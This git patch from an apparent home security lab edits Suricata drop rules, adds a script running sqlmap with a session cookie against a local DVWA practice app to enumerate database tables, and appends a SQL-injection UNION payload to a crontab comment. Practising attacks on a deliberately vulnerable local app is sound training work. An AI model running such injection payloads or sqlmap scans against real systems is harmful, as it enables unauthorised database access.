From 5b5e6769aa55e66656b902612e72ab4fe4139975 Mon Sep 17 00:00:00 2001 From: Vomitblood Date: Thu, 6 Feb 2025 08:36:41 +0800 Subject: [PATCH] asdf --- docker/suricata/docker-compose.yml | 13 ------------- docker/suricata/suricata/etc/rules/suricata.rules | 5 +++-- sqlmap/crontab | 2 +- sqlmap/run.sh | 1 + 4 files changed, 5 insertions(+), 16 deletions(-) create mode 100644 sqlmap/run.sh diff --git a/docker/suricata/docker-compose.yml b/docker/suricata/docker-compose.yml index f460209..9497ab7 100644 --- a/docker/suricata/docker-compose.yml +++ b/docker/suricata/docker-compose.yml @@ -1,17 +1,4 @@ services: - # nginx: - # image: nginx:latest - # container_name: nginx - # restart: always - # ports: - # - "3332:3332" - # volumes: - # - ./nginx/nginx.conf:/etc/nginx/nginx.conf:ro - # - ./nginx/logs:/var/log/nginx - # network_mode: "host" - # extra_hosts: - # - "host.docker.internal:host-gateway" - suricata: image: jasonish/suricata container_name: suricata diff --git a/docker/suricata/suricata/etc/rules/suricata.rules b/docker/suricata/suricata/etc/rules/suricata.rules index 69f365a..ad4658d 100755 --- a/docker/suricata/suricata/etc/rules/suricata.rules +++ b/docker/suricata/suricata/etc/rules/suricata.rules @@ -1,5 +1,6 @@ # test blocks #drop http any any -> any any (msg:"asdf attempt"; content:"asdf@gmail.com"; http_client_body; nocase; sid:1000007; rev:2;) -#drop ip 192.168.0.71 any -> any any (msg:"asdfBlocking ALL traffic from 192.168.0.71"; sid:1000010; rev:1;) #drop http any any -> any any (msg:"dropping ALL shit"; sid:1000123; rev:1;) -#drop http any any -> 192.168.0.69 80 (msg:"Blocked /health endpoint"; http.uri; content:"/health"; nocase; sid:1000008; rev:2;) + +drop http any any -> 192.168.0.69 3333 (msg:"Blocked /health endpoint"; http.uri; content:"/health"; nocase; sid:1000008; rev:2;) +drop ip any any -> any 3333 (msg:"Blocking ALL traffic from 192.168.0.71"; sid:1000010; rev:1;) \ No newline at end of file diff --git a/sqlmap/crontab b/sqlmap/crontab index 9b75c8e..8e71a21 100644 --- a/sqlmap/crontab +++ b/sqlmap/crontab @@ -3,4 +3,4 @@ # runs the script on every system startup # starts the dvwa in the background # then runs sqlmap -# log all outputs and errors \ No newline at end of file +# log all outputs and errorsSpoiler: ?id=a' UNION SELECT "text1","text2";-- -&Submit=Submit. \ No newline at end of file diff --git a/sqlmap/run.sh b/sqlmap/run.sh new file mode 100644 index 0000000..8a31f37 --- /dev/null +++ b/sqlmap/run.sh @@ -0,0 +1 @@ +sqlmap -u "http://localhost:80/vulnerabilities/sqli/?id=234&Submit=Submit" --cookie="PHPSESSID=l38mpsp9ksla91tnvglti5jur6; security=low" --tables --batch \ No newline at end of file